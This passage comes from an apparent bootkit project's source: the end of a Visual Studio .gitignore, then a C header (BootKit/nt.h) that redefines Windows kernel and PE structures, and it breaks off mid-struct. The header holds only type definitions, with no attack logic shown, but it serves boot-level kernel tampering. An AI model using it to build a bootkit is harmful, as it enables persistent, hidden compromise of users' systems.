Generated_Code/ 255 | 256 | # Backup & report files from converting an old project file 257 | # to a newer Visual Studio version. Backup files are not needed, 258 | # because we have git ;-) 259 | _UpgradeReport_Files/ 260 | Backup*/ 261 | UpgradeLog*.XML 262 | UpgradeLog*.htm 263 | ServiceFabricBackup/ 264 | *.rptproj.bak 265 | 266 | # SQL Server files 267 | *.mdf 268 | *.ldf 269 | *.ndf 270 | 271 | # Business Intelligence projects 272 | *.rdl.data 273 | *.bim.layout 274 | *.bim_*.settings 275 | *.rptproj.rsuser 276 | *- [Bb]ackup.rdl 277 | *- [Bb]ackup ([0-9]).rdl 278 | *- [Bb]ackup ([0-9][0-9]).rdl 279 | 280 | # Microsoft Fakes 281 | FakesAssemblies/ 282 | 283 | # GhostDoc plugin setting file 284 | *.GhostDoc.xml 285 | 286 | # Node.js Tools for Visual Studio 287 | .ntvs_analysis.dat 288 | node_modules/ 289 | 290 | # Visual Studio 6 build log 291 | *.plg 292 | 293 | # Visual Studio 6 workspace options file 294 | *.opt 295 | 296 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 297 | *.vbw 298 | 299 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 300 | *.vbp 301 | 302 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 303 | *.dsw 304 | *.dsp 305 | 306 | # Visual Studio 6 technical files 307 | *.ncb 308 | *.aps 309 | 310 | # Visual Studio LightSwitch build output 311 | **/*.HTMLClient/GeneratedArtifacts 312 | **/*.DesktopClient/GeneratedArtifacts 313 | **/*.DesktopClient/ModelManifest.xml 314 | **/*.Server/GeneratedArtifacts 315 | **/*.Server/ModelManifest.xml 316 | _Pvt_Extensions 317 | 318 | # Paket dependency manager 319 | .paket/paket.exe 320 | paket-files/ 321 | 322 | # FAKE - F# Make 323 | .fake/ 324 | 325 | # CodeRush personal settings 326 | .cr/personal 327 | 328 | # Python Tools for Visual Studio (PTVS) 329 | __pycache__/ 330 | *.pyc 331 | 332 | # Cake - Uncomment if you are using it 333 | # tools/** 334 | # !tools/packages.config 335 | 336 | # Tabs Studio 337 | *.tss 338 | 339 | # Telerik's JustMock configuration file 340 | *.jmconfig 341 | 342 | # BizTalk build output 343 | *.btp.cs 344 | *.btm.cs 345 | *.odx.cs 346 | *.xsd.cs 347 | 348 | # OpenCover UI analysis results 349 | OpenCover/ 350 | 351 | # Azure Stream Analytics local run output 352 | ASALocalRun/ 353 | 354 | # MSBuild Binary and Structured Log 355 | *.binlog 356 | 357 | # NVidia Nsight GPU debugger configuration file 358 | *.nvuser 359 | 360 | # MFractors (Xamarin productivity tool) working folder 361 | .mfractor/ 362 | 363 | # Local History for Visual Studio 364 | .localhistory/ 365 | 366 | # Visual Studio History (VSHistory) files 367 | .vshistory/ 368 | 369 | # BeatPulse healthcheck temp database 370 | healthchecksdb 371 | 372 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 373 | MigrationBackup/ 374 | 375 | # Ionide (cross platform F# VS Code tools) working folder 376 | .ionide/ 377 | 378 | # Fody - auto-generated XML schema 379 | FodyWeavers.xsd 380 | 381 | # VS Code files for those working on multiple tools 382 | .vscode/* 383 | !.vscode/settings.json 384 | !.vscode/tasks.json 385 | !.vscode/launch.json 386 | !.vscode/extensions.json 387 | *.code-workspace 388 | 389 | # Local History for Visual Studio Code 390 | .history/ 391 | 392 | # Windows Installer files from build outputs 393 | *.cab 394 | *.msi 395 | *.msix 396 | *.msm 397 | *.msp 398 | 399 | # JetBrains Rider 400 | *.sln.iml 401 | -------------------------------------------------------------------------------- /BootKit/nt.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma warning( push ) 3 | #pragma warning (disable : 4201 4324) 4 | 5 | #include 6 | 7 | #define CONTAINING_RECORD(address, type, field) ((type *)( \ 8 | (char*)(address) - \ 9 | (UINT64)(&((type *)0)->field))) 10 | 11 | typedef struct _UNICODE_STRING 12 | { 13 | UINT16 Length; 14 | UINT16 MaximumLength; 15 | CHAR16* Buffer; 16 | } UNICODE_STRING, * PUNICODE_STRING; 17 | 18 | typedef short CSHORT; 19 | typedef unsigned short USHORT; 20 | typedef long LONG; 21 | typedef unsigned long ULONG; 22 | typedef VOID* PVOID; 23 | typedef void* HANDLE; 24 | typedef HANDLE* PHANDLE; 25 | typedef CHAR8 CCHAR; 26 | typedef CCHAR KPROCESSOR_MODE; 27 | typedef ULONG DEVICE_TYPE, ACCESS_MASK; 28 | typedef long NTSTATUS; 29 | typedef PVOID PIO_TIMER, PVPB, PSECURITY_DESCRIPTOR, PDRIVER_EXTENSION, PFAST_IO_DISPATCH, PDRIVER_INITIALIZE, PDRIVER_STARTIO, PDRIVER_UNLOAD, PDRIVER_DISPATCH; 30 | typedef unsigned char BYTE; 31 | typedef struct _OBJECT_TYPE OBJECT_TYPE, * POBJECT_TYPE; 32 | typedef CHAR16 WCHAR; 33 | typedef CONST WCHAR* PCWSTR; 34 | 35 | typedef struct _OBJECT_ATTRIBUTES { 36 | ULONG Length; 37 | HANDLE RootDirectory; 38 | PUNICODE_STRING ObjectName; 39 | ULONG Attributes; 40 | PVOID SecurityDescriptor; 41 | PVOID SecurityQualityOfService; 42 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 43 | 44 | typedef __int64 LONGLONG; 45 | typedef union _LARGE_INTEGER { 46 | struct { 47 | ULONG LowPart; 48 | LONG HighPart; 49 | } DUMMYSTRUCTNAME; 50 | struct { 51 | ULONG LowPart; 52 | LONG HighPart; 53 | } u; 54 | LONGLONG QuadPart; 55 | } LARGE_INTEGER; 56 | 57 | typedef LARGE_INTEGER* PLARGE_INTEGER; 58 | 59 | typedef enum _FILE_INFORMATION_CLASS { 60 | FileDirectoryInformation = 1, 61 | FileFullDirectoryInformation, // 2 62 | FileBothDirectoryInformation, // 3 63 | FileBasicInformation, // 4 64 | FileStandardInformation, // 5 65 | FileInternalInformation, // 6 66 | FileEaInformation, // 7 67 | FileAccessInformation, // 8 68 | FileNameInformation, // 9 69 | FileRenameInformation, // 10 70 | FileLinkInformation, // 11 71 | FileNamesInformation, // 12 72 | FileDispositionInformation, // 13 73 | FilePositionInformation, // 14 74 | FileFullEaInformation, // 15 75 | FileModeInformation, // 16 76 | FileAlignmentInformation, // 17 77 | FileAllInformation, // 18 78 | FileAllocationInformation, // 19 79 | FileEndOfFileInformation, // 20 80 | FileAlternateNameInformation, // 21 81 | FileStreamInformation, // 22 82 | FilePipeInformation, // 23 83 | FilePipeLocalInformation, // 24 84 | FilePipeRemoteInformation, // 25 85 | FileMailslotQueryInformation, // 26 86 | FileMailslotSetInformation, // 27 87 | FileCompressionInformation, // 28 88 | FileObjectIdInformation, // 29 89 | FileCompletionInformation, // 30 90 | FileMoveClusterInformation, // 31 91 | FileQuotaInformation, // 32 92 | FileReparsePointInformation, // 33 93 | FileNetworkOpenInformation, // 34 94 | FileAttributeTagInformation, // 35 95 | FileTrackingInformation, // 36 96 | FileIdBothDirectoryInformation, // 37 97 | FileIdFullDirectoryInformation, // 38 98 | FileValidDataLengthInformation, // 39 99 | FileShortNameInformation, // 40 100 | FileIoCompletionNotificationInformation, // 41 101 | FileIoStatusBlockRangeInformation, // 42 102 | FileIoPriorityHintInformation, // 43 103 | FileSfioReserveInformation, // 44 104 | FileSfioVolumeInformation, // 45 105 | FileHardLinkInformation, // 46 106 | FileProcessIdsUsingFileInformation, // 47 107 | FileNormalizedNameInformation, // 48 108 | FileNetworkPhysicalNameInformation, // 49 109 | FileIdGlobalTxDirectoryInformation, // 50 110 | FileIsRemoteDeviceInformation, // 51 111 | FileUnusedInformation, // 52 112 | FileNumaNodeInformation, // 53 113 | FileStandardLinkInformation, // 54 114 | FileRemoteProtocolInformation, // 55 115 | 116 | // 117 | // These are special versions of these operations (defined earlier) 118 | // which can be used by kernel mode drivers only to bypass security 119 | // access checks for Rename and HardLink operations. These operations 120 | // are only recognized by the IOManager, a file system should never 121 | // receive these. 122 | // 123 | 124 | FileRenameInformationBypassAccessCheck, // 56 125 | FileLinkInformationBypassAccessCheck, // 57 126 | 127 | // 128 | // End of special information classes reserved for IOManager. 129 | // 130 | 131 | FileVolumeNameInformation, // 58 132 | FileIdInformation, // 59 133 | FileIdExtdDirectoryInformation, // 60 134 | FileReplaceCompletionInformation, // 61 135 | FileHardLinkFullIdInformation, // 62 136 | FileIdExtdBothDirectoryInformation, // 63 137 | FileDispositionInformationEx, // 64 138 | FileRenameInformationEx, // 65 139 | FileRenameInformationExBypassAccessCheck, // 66 140 | FileDesiredStorageClassInformation, // 67 141 | FileStatInformation, // 68 142 | FileMemoryPartitionInformation, // 69 143 | FileStatLxInformation, // 70 144 | FileCaseSensitiveInformation, // 71 145 | FileLinkInformationEx, // 72 146 | FileLinkInformationExBypassAccessCheck, // 73 147 | FileStorageReserveIdInformation, // 74 148 | FileCaseSensitiveInformationForceAccessCheck, // 75 149 | FileKnownFolderInformation, // 76 150 | 151 | FileMaximumInformation 152 | } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; 153 | 154 | typedef struct _FILE_STANDARD_INFORMATION { 155 | UINT64 AllocationSize; 156 | UINT64 EndOfFile; 157 | ULONG NumberOfLinks; 158 | BOOLEAN DeletePending; 159 | BOOLEAN Directory; 160 | } FILE_STANDARD_INFORMATION, * PFILE_STANDARD_INFORMATION; 161 | typedef enum _MODE { 162 | KernelMode, 163 | UserMode, 164 | MaximumMode 165 | } MODE; 166 | 167 | typedef enum _POOL_TYPE { 168 | NonPagedPool, 169 | NonPagedPoolExecute = NonPagedPool, 170 | PagedPool, 171 | NonPagedPoolMustSucceed = NonPagedPool + 2, 172 | DontUseThisType, 173 | NonPagedPoolCacheAligned = NonPagedPool + 4, 174 | PagedPoolCacheAligned, 175 | NonPagedPoolCacheAlignedMustS = NonPagedPool + 6, 176 | MaxPoolType, 177 | NonPagedPoolBase = 0, 178 | NonPagedPoolBaseMustSucceed = NonPagedPoolBase + 2, 179 | NonPagedPoolBaseCacheAligned = NonPagedPoolBase + 4, 180 | NonPagedPoolBaseCacheAlignedMustS = NonPagedPoolBase + 6, 181 | NonPagedPoolSession = 32, 182 | PagedPoolSession = NonPagedPoolSession + 1, 183 | NonPagedPoolMustSucceedSession = PagedPoolSession + 1, 184 | DontUseThisTypeSession = NonPagedPoolMustSucceedSession + 1, 185 | NonPagedPoolCacheAlignedSession = DontUseThisTypeSession + 1, 186 | PagedPoolCacheAlignedSession = NonPagedPoolCacheAlignedSession + 1, 187 | NonPagedPoolCacheAlignedMustSSession = PagedPoolCacheAlignedSession + 1, 188 | NonPagedPoolNx = 512, 189 | NonPagedPoolNxCacheAligned = NonPagedPoolNx + 4, 190 | NonPagedPoolSessionNx = NonPagedPoolNx + 32, 191 | 192 | } POOL_TYPE; 193 | 194 | typedef struct _RELOC_BLOCK_HDR 195 | { 196 | UINT32 PageRVA; 197 | UINT32 BlockSize; 198 | } RELOC_BLOCK_HDR, * PRELOC_BLOCK_HDR; 199 | 200 | typedef struct _RELOC_ENTRY 201 | { 202 | UINT16 Offset : 12; 203 | UINT16 Type : 4; 204 | } RELOC_ENTRY, * PRELOC_ENTRY; 205 | 206 | typedef struct _RELOC_NAME_TABLE_ENTRY 207 | { 208 | UINT16 Hint; 209 | CHAR8 Name[]; 210 | } RELOC_NAME_TABLE_ENTRY, PRELOC_NAME_TABLE_ENTRY; 211 | 212 | // 213 | // The following are masks for the predefined standard access types 214 | // 215 | 216 | #define DELETE (0x00010000L) 217 | #define READ_CONTROL (0x00020000L) 218 | #define WRITE_DAC (0x00040000L) 219 | #define WRITE_OWNER (0x00080000L) 220 | #define SYNCHRONIZE (0x00100000L) 221 | 222 | #define STANDARD_RIGHTS_REQUIRED (0x000F0000L) 223 | 224 | #define STANDARD_RIGHTS_READ (READ_CONTROL) 225 | #define STANDARD_RIGHTS_WRITE (READ_CONTROL) 226 | #define STANDARD_RIGHTS_EXECUTE (READ_CONTROL) 227 | 228 | #define STANDARD_RIGHTS_ALL (0x001F0000L) 229 | 230 | #define SPECIFIC_RIGHTS_ALL (0x0000FFFFL) 231 | 232 | // 233 | // AccessSystemAcl access type 234 | // 235 | 236 | #define ACCESS_SYSTEM_SECURITY (0x01000000L) 237 | 238 | // 239 | // MaximumAllowed access type 240 | // 241 | 242 | #define MAXIMUM_ALLOWED (0x02000000L) 243 | 244 | // 245 | // These are the generic rights. 246 | // 247 | 248 | #define GENERIC_READ (0x80000000L) 249 | #define GENERIC_WRITE (0x40000000L) 250 | #define GENERIC_EXECUTE (0x20000000L) 251 | #define GENERIC_ALL (0x10000000L) 252 | 253 | #define OBJ_INHERIT 0x00000002L 254 | #define OBJ_PERMANENT 0x00000010L 255 | #define OBJ_EXCLUSIVE 0x00000020L 256 | #define OBJ_CASE_INSENSITIVE 0x00000040L 257 | #define OBJ_OPENIF 0x00000080L 258 | #define OBJ_OPENLINK 0x00000100L 259 | #define OBJ_KERNEL_HANDLE 0x00000200L 260 | #define OBJ_FORCE_ACCESS_CHECK 0x00000400L 261 | #define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800L 262 | #define OBJ_DONT_REPARSE 0x00001000L 263 | #define OBJ_VALID_ATTRIBUTES 0x00001FF2L 264 | 265 | 266 | // 267 | // Define the create disposition values 268 | // 269 | 270 | #define FILE_SUPERSEDE 0x00000000 271 | #define FILE_OPEN 0x00000001 272 | #define FILE_CREATE 0x00000002 273 | #define FILE_OPEN_IF 0x00000003 274 | #define FILE_OVERWRITE 0x00000004 275 | #define FILE_OVERWRITE_IF 0x00000005 276 | #define FILE_MAXIMUM_DISPOSITION 0x00000005 277 | 278 | // 279 | // Define the create/open option flags 280 | // 281 | 282 | #define FILE_DIRECTORY_FILE 0x00000001 283 | #define FILE_WRITE_THROUGH 0x00000002 284 | #define FILE_SEQUENTIAL_ONLY 0x00000004 285 | #define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 286 | 287 | #define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 288 | #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 289 | #define FILE_NON_DIRECTORY_FILE 0x00000040 290 | #define FILE_CREATE_TREE_CONNECTION 0x00000080 291 | 292 | #define FILE_COMPLETE_IF_OPLOCKED 0x00000100 293 | #define FILE_NO_EA_KNOWLEDGE 0x00000200 294 | #define FILE_OPEN_REMOTE_INSTANCE 0x00000400 295 | #define FILE_RANDOM_ACCESS 0x00000800 296 | 297 | #define FILE_DELETE_ON_CLOSE 0x00001000 298 | #define FILE_OPEN_BY_FILE_ID 0x00002000 299 | #define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 300 | #define FILE_NO_COMPRESSION 0x00008000 301 | 302 | #define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 303 | #define FILE_DISALLOW_EXCLUSIVE 0x00020000 304 | 305 | #define FILE_SESSION_AWARE 0x00040000 306 | 307 | // 308 | // CreateOptions flag to pass in call to CreateFile to allow the write through xro.sys 309 | // 310 | 311 | #define FILE_RESERVE_OPFILTER 0x00100000 312 | #define FILE_OPEN_REPARSE_POINT 0x00200000 313 | #define FILE_OPEN_NO_RECALL 0x00400000 314 | #define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 315 | 316 | #define FILE_ANY_ACCESS 0 317 | #define FILE_SPECIAL_ACCESS (FILE_ANY_ACCESS) 318 | #define FILE_READ_ACCESS ( 0x0001 ) // file & pipe 319 | #define FILE_WRITE_ACCESS ( 0x0002 ) // file & pipe 320 | 321 | 322 | typedef NTSTATUS(*p_ObReferenceObjectByName)(PUNICODE_STRING ObjectName, 323 | 324 | ULONG Attributes, 325 | 326 | PVOID AccessState, 327 | 328 | ACCESS_MASK DesiredAccess, 329 | 330 | POBJECT_TYPE ObjectType, 331 | 332 | KPROCESSOR_MODE AccessMode, 333 | 334 | PVOID ParseContext OPTIONAL, 335 | 336 | PVOID* Object); 337 | 338 | #define IRP_MJ_MAXIMUM_FUNCTION 0x1b 339 | 340 | extern p_ObReferenceObjectByName ObReferenceObjectByName; 341 | 342 | typedef struct _MDL { 343 | struct _MDL* Next; 344 | CSHORT Size; 345 | CSHORT MdlFlags; 346 | 347 | struct _EPROCESS* Process; 348 | PVOID MappedSystemVa; /* see creators for field size annotations. */ 349 | PVOID StartVa; /* see creators for validity; could be address 0. */ 350 | ULONG ByteCount; 351 | ULONG ByteOffset; 352 | } MDL, * PMDL; 353 | 354 | typedef struct __declspec(align(16)) _DEVICE_OBJECT { 355 | CSHORT Type; 356 | USHORT Size; 357 | LONG ReferenceCount; 358 | struct _DRIVER_OBJECT* DriverObject; 359 | struct _DEVICE_OBJECT* NextDevice; 360 | struct _DEVICE_OBJECT* AttachedDevice; 361 | struct _IRP* CurrentIrp; 362 | PIO_TIMER Timer; 363 | ULONG Flags; 364 | ULONG Characteristics; 365 | volatile PVPB Vpb; 366 | PVOID DeviceExtension; 367 | DEVICE_TYPE DeviceType; 368 | CCHAR StackSize; 369 | union { 370 | LIST_ENTRY ListEntry; 371 | BYTE Wcb[0x48]; 372 | } Queue; 373 | ULONG AlignmentRequirement; 374 | ULONG pad0; 375 | BYTE DeviceQueue[0x28]; 376 | BYTE Dpc[0x40]; 377 | ULONG ActiveThreadCount; 378 | ULONG pad1; 379 | PSECURITY_DESCRIPTOR SecurityDescriptor; 380 | BYTE DeviceLock[0x18]; 381 | USHORT SectorSize; 382 | USHORT Spare1; 383 | struct _DEVOBJ_EXTENSION* DeviceObjectExtension; 384 | PVOID Reserved; 385 | } DEVICE_OBJECT, * PDEVICE_OBJECT; 386 | 387 | typedef struct _DEVOBJ_EXTENSION { 388 | 389 | CSHORT Type; 390 | USHORT Size; 391 | 392 | PDEVICE_OBJECT DeviceObject; // owning device object 393 | 394 | // 395 | // The remaining fields are reserved for system use. 396 | // 397 | 398 | ULONG PowerFlags; 399 | struct _DEVICE_OBJECT_POWER_EXTENSION* Dope; 400 | ULONG ExtensionFlags; 401 | PVOID DeviceNode; 402 | PDEVICE_OBJECT AttachedTo; 403 | volatile LONG StartIoCount; 404 | LONG StartIoKey; 405 | ULONG StartIoFlags; 406 | PVPB Vpb; 407 | PVOID DependencyNode; 408 | PVOID InterruptContext; 409 | volatile LONG InterruptCount; 410 | 411 | volatile PVOID VerifierContext; 412 | 413 | } DEVOBJ_EXTENSION, * PDEVOBJ_EXTENSION; 414 | 415 | typedef struct _DRIVER_OBJECT { 416 | CSHORT Type; 417 | CSHORT Size; 418 | PDEVICE_OBJECT DeviceObject; 419 | ULONG Flags; 420 | PVOID DriverStart; 421 | ULONG DriverSize; 422 | PVOID DriverSection; 423 | PDRIVER_EXTENSION DriverExtension; 424 | UNICODE_STRING DriverName; 425 | PUNICODE_STRING HardwareDatabase; 426 | PFAST_IO_DISPATCH FastIoDispatch; 427 | PDRIVER_INITIALIZE DriverInit; 428 | PDRIVER_STARTIO DriverStartIo; 429 | PDRIVER_UNLOAD DriverUnload; 430 | PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; 431 | } DRIVER_OBJECT, * PDRIVER_OBJECT; 432 | 433 | typedef struct _LOADER_PARAMETER_BLOCK 434 | { 435 | UINT32 OsMajorVersion; 436 | UINT32 OsMinorVersion; 437 | UINT32 Size; 438 | UINT32 OsLoaderSecurityVersion; 439 | struct _LIST_ENTRY LoadOrderListHead; 440 | struct _LIST_ENTRY MemoryDescriptorListHead; 441 | struct _LIST_ENTRY BootDriverListHead; 442 | struct _LIST_ENTRY EarlyLaunchListHead; 443 | struct _LIST_ENTRY CoreDriverListHead; 444 | struct _LIST_ENTRY CoreExtensionsDriverListHead; 445 | struct _LIST_ENTRY TpmCoreDriverListHead; 446 | } LOADER_PARAMETER_BLOCK, * PLOADER_PARAMETER_BLOCK; 447 | 448 | typedef struct _KLDR_DATA_TABLE_ENTRY 449 | { 450 | struct _LIST_ENTRY InLoadOrderLinks; 451 | VOID* ExceptionTable; 452 | UINT32 ExceptionTableSize; 453 | VOID* GpValue; 454 | struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; 455 | VOID* ModuleBase; 456 | VOID* EntryPoint; 457 | UINT32 SizeOfImage; 458 | struct _UNICODE_STRING FullModuleName; 459 | struct _UNICODE_STRING BaseModuleName; 460 | UINT32 Flags; 461 | UINT16 LoadCount; 462 | union 463 | { 464 | UINT16 SignatureLevel : 4; 465 | UINT16 SignatureType : 3; 466 | UINT16 Unused : 9; 467 | UINT16 EntireField; 468 | } u1; 469 | VOID* SectionPointer; 470 | UINT32 CheckSum; 471 | UINT32 CoverageSectionSize; 472 | VOID* CoverageSection; 473 | VOID* LoadedImports; 474 | VOID* Spare; 475 | UINT32 SizeOfImageNotRounded; 476 | UINT32 TimeDateStamp; 477 | } KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY; 478 | 479 | typedef struct _IMAGE_FILE_HEADER 480 | { 481 | UINT16 Machine; 482 | UINT16 NumberOfSections; 483 | UINT32 TimeDateStamp; 484 | UINT32 PointerToSymbolTable; 485 | UINT32 NumberOfSymbols; 486 | UINT16 SizeOfOptionalHeader; 487 | UINT16 Characteristics; 488 | } IMAGE_FILE_HEADER, * PIMAGE_FILE_HEADER; 489 | 490 | typedef struct _IMAGE_DATA_DIRECTORY 491 | { 492 | UINT32 VirtualAddress; 493 | UINT32 Size; 494 | } IMAGE_DATA_DIRECTORY, * PIMAGE_DATA_DIRECTORY; 495 | 496 | #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 497 | 498 | typedef struct _IMAGE_OPTIONAL_HEADER64 499 | { 500 | UINT16 Magic; 501 | UINT8 MajorLinkerVersion; 502 | UINT8 MinorLinkerVersion; 503 | UINT32 SizeOfCode; 504 | UINT32 SizeOfInitializedData; 505 | UINT32 SizeOfUninitializedData; 506 | UINT32 AddressOfEntryPoint; 507 | UINT32 BaseOfCode; 508 | UINT64 ImageBase; 509 | UINT32 SectionAlignment; 510 | UINT32 FileAlignment; 511 | UINT16 MajorOperatingSystemVersion; 512 | UINT16 MinorOperatingSystemVersion; 513 | UINT16 MajorImageVersion; 514 | UINT16 MinorImageVersion; 515 | UINT16 MajorSubsystemVersion; 516 | UINT16 MinorSubsystemVersion; 517 | UINT32 Win32VersionValue; 518 | UINT32 SizeOfImage; 519 | UINT32 SizeOfHeaders; 520 | UINT32 CheckSum; 521 | UINT16 Subsystem; 522 | UINT16 DllCharacteristics; 523 | UINT64 SizeOfStackReserve; 524 | UINT64 SizeOfStackCommit; 525 | UINT64 SizeOfHeapReserve; 526 | UINT64 SizeOfHeapCommit; 527 | UINT32 LoaderFlags; 528 | UINT32 NumberOfRvaAndSizes; 529 | IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; 530 | } IMAGE_OPTIONAL_HEADER64, * PIMAGE_OPTIONAL_HEADER64; 531 | 532 | typedef struct _IMAGE_NT_HEADERS64 533 | { 534 | UINT32 Signature; 535 | IMAGE_FILE_HEADER FileHeader; 536 | IMAGE_OPTIONAL_HEADER64 OptionalHeader; 537 | } IMAGE_NT_HEADERS64, * PIMAGE_NT_HEADERS64, IMAGE_NT_HEADERS, * PIMAGE_NT_HEADERS; 538 | 539 | typedef struct _IMAGE_DOS_HEADER 540 | { 541 | UINT16 e_magic; // Magic number 542 | UINT16 e_cblp; // Bytes on last page of file 543 | UINT16 e_cp; // Pages in file 544 | UINT16 e_crlc; // Relocations 545 | UINT16 e_cparhdr; // Size of header in paragraphs 546 | UINT16 e_minalloc; // Minimum extra paragraphs needed 547 | UINT16 e_maxalloc; // Maximum extra paragraphs needed 548 | UINT16 e_ss; // Initial (relative) SS value 549 | UINT16 e_sp; // Initial SP value 550 | UINT16 e_csum; // Checksum 551 | UINT16 e_ip; // Initial IP value 552 | UINT16 e_cs; // Initial (relative) CS value 553 | UINT16 e_lfarlc; // File address of relocation table 554 | UINT16 e_ovno; // Overlay number 555 | UINT16 e_res[4]; // Reserved words 556 | UINT16 e_oemid; // OEM identifier (for e_oeminfo) 557 | UINT16 e_oeminfo; // OEM information; e_oemid specific 558 | UINT16 e_res2[10]; // Reserved words 559 | INT32 e_lfanew; // File address of new exe header 560 | } IMAGE_DOS_HEADER, * PIMAGE_DOS_HEADER; 561 | 562 | #define IMAGE_SIZEOF_SHORT_NAME 8 563 | 564 | typedef struct _IMAGE_SECTION_HEADER 565 | { 566 | UINT8 Name[IMAGE_SIZEOF_SHORT_NAME]; 567 | union 568 | { 569 | UINT32 PhysicalAddress; 570 | UINT32 VirtualSize; 571 | } Misc; 572 | UINT32 VirtualAddress; 573 | UINT32 SizeOfRawData; 574 | UINT32 PointerToRawData; 575 | UINT32 PointerToRelocations; 576 | UINT32 PointerToLinenumbers; 577 | UINT16 NumberOfRelocations; 578 | UINT16 NumberOfLinenumbers; 579 | UINT32 Characteristics; 580 | } IMAGE_SECTION_HEADER, * PIMAGE_SECTION_HEADER; 581 | 582 | typedef struct _IMAGE_EXPORT_DIRECTORY 583 | { 584 | UINT32 Characteristics; 585 | UINT32 TimeDateStamp; 586 | UINT16 MajorVersion; 587 | UINT16 MinorVersion; 588 | UINT32 Name; 589 | UINT32 Base; 590 | UINT32 NumberOfFunctions; 591 | UINT32 NumberOfNames; 592 | UINT32 AddressOfFunctions; 593 | UINT32 AddressOfNames; 594 | UINT32 AddressOfNameOrdinals; 595 | } IMAGE_EXPORT_DIRECTORY, * PIMAGE_EXPORT_DIRECTORY; 596 | 597 | typedef struct _IMAGE_IMPORT_DESCRIPTOR { 598 | UINT32 LookupTableRVA; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) 599 | UINT32 TimeDateStamp; // 0 if not bound, 600 | // -1 if bound, and real date\time stamp 601 | // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) 602 | // O.W. date/time stamp of DLL bound to (Old BIND) 603 | 604 | UINT32 ForwarderChain; // -1 if no forwarders 605 | UINT32 Name; 606 | UINT32 ImportAddressTable; // RVA to IAT (if bound this IAT has actual addresses) 607 | } IMAGE_IMPORT_DESCRIPTOR; 608 | 609 | typedef IMAGE_IMPORT_DESCRIPTOR* PIMAGE_IMPORT_DESCRIPTOR; 610 | 611 | typedef struct _IMAGE_IMPORT_BY_NAME { 612 | UINT16 Hint; 613 | CHAR8 Name[]; 614 | } IMAGE_IMPORT_BY_NAME, * PIMAGE_IMPORT_BY_NAME; 615 | 616 | typedef struct _IO_STATUS_BLOCK { 617 | union { 618 | UINT32 Status; 619 | VOID* Pointer; 620 | }; 621 | 622 | UINT64 Information; 623 | } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; 624 | 625 | typedef struct _KDEVICE_QUEUE_ENTRY { 626 | LIST_ENTRY DeviceListEntry; 627 | UINT32 SortKey; 628 | BOOLEAN Inserted; 629 | } KDEVICE_QUEUE_ENTRY, * PKDEVICE_QUEUE_ENTRY, * PRKDEVICE_QUEUE_ENTRY; 630 | 631 | typedef struct _KAPC { 632 | UINT8 Type; 633 | UINT8 AllFlags; 634 | UINT8 Size; 635 | UINT8 SpareByte1; 636 | UINT32 SpareLong0; 637 | struct _KTHREAD* Thread; 638 | LIST_ENTRY ApcListEntry; 639 | VOID* Reserved[3]; 640 | VOID* NormalContext; 641 | VOID* SystemArgument1; 642 | VOID* SystemArgument2; 643 | CHAR8 ApcStateIndex; 644 | CHAR8 ApcMode; 645 | BOOLEAN Inserted; 646 | } KAPC, * PKAPC, * PRKAPC; 647 | 648 | 649 | // TODO: Clean this up 650 | typedef struct _IO_STACK_LOCATION { 651 | UINT8 MajorFunction; 652 | UINT8 MinorFunction; 653 | UINT8 Flags; 654 | UINT8 Control; 655 | 656 | // 657 | // The following user parameters are based on the service that is being 658 | // invoked. Drivers and file systems can determine which set to use based 659 | // on the above major and minor function codes. 660 | // 661 | 662 | // Stupid me deleted all the declspec aligns and they need to be added back 663 | union { 664 | 665 | // 666 | // System service parameters for: NtCreateFile 667 | // 668 | 669 | struct { 670 | VOID* SecurityContext; 671 | UINT32 Options; 672 | UINT16 FileAttributes; 673 | UINT16 ShareAccess; 674 | UINT32 EaLength; 675 | } Create; 676 | 677 | // 678 | // System service parameters for: NtCreateNamedPipeFile 679 | // 680 | // Notice that the fields in the following parameter structure must 681 | // match those for the create structure other than the last longword. 682 | // This is so that no distinctions need be made by the I/O system's 683 | // parse routine other than for the last longword. 684 | // 685 | 686 | struct { 687 | VOID* SecurityContext; 688 | UINT32 Options; 689 | UINT16 Reserved; 690 | UINT16 ShareAccess; 691 | VOID* Parameters; 692 | } CreatePipe; 693 | 694 | // 695 | // System service parameters for: NtCreateMailslotFile 696 | // 697 | // Notice that the fields in the following parameter structure must 698 | // match those for the create structure other than the last longword. 699 | // This is so that no distinctions need be made by the I/O system's 700 | // parse routine other than for the last longword. 701 | // 702 | 703 | struct { 704 | VOID* SecurityContext; 705 | UINT32 Options; 706 | UINT16 Reserved; 707 | UINT16 ShareAccess; 708 | VOID* Parameters; 709 | } CreateMailslot; 710 | 711 | // 712 | // System service parameters for: NtReadFile 713 | // 714 | 715 | struct { 716 | UINT32 Length; 717 | UINT32 Key; 718 | #if defined(_WIN64) 719 | UINT32 Flags; 720 | #endif 721 | UINT64 ByteOffset; 722 | } Read; 723 | 724 | // 725 | // System service parameters for: NtWriteFile 726 | // 727 | 728 | struct { 729 | UINT32 Length; 730 | UINT32 Key; 731 | #if defined(_WIN64) 732 | UINT32 Flags; 733 | #endif 734 | UINT64 ByteOffset; 735 | } Write; 736 | 737 | // 738 | // System service parameters for: NtQueryDirectoryFile 739 | // 740 | 741 | struct { 742 | UINT32 Length; 743 | PUNICODE_STRING FileName; 744 | UINT32 FileInformationClass; 745 | UINT32 FileIndex; 746 | } 